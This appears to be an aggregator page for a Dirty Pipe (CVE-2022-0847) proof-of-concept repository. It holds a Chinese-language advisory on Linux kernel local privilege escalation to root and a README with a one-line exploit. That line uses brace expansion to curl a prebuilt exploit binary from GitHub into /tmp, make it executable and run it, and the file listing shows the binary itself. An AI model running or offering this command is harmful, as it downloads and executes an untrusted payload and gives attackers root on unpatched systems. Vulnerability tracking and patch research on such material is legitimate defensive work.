CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source

https://github.com/al4xs/CVE-2022-0847-Dirty-Pipe

Associated Vulnerability

Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞，该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。以下产品和版本受到影响：Linux Kernel 5.8-5.16.11、5.8-5.15.25、5.8-5.10.102。

Readme

# Oneline Exploit CVE-2022-0847

```
{curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe};{chmod,+x,/tmp/exploit-dirty-pipe};/tmp/exploit-dirty-pipe
```

File Snapshot


 [4.0K]  /data/pocs/4720cba41b8a7d30ccdd6ed0b5b25459362f26e3
├── [866K]  exploit-static
└── [ 219]  README.md

0 directories, 2 files

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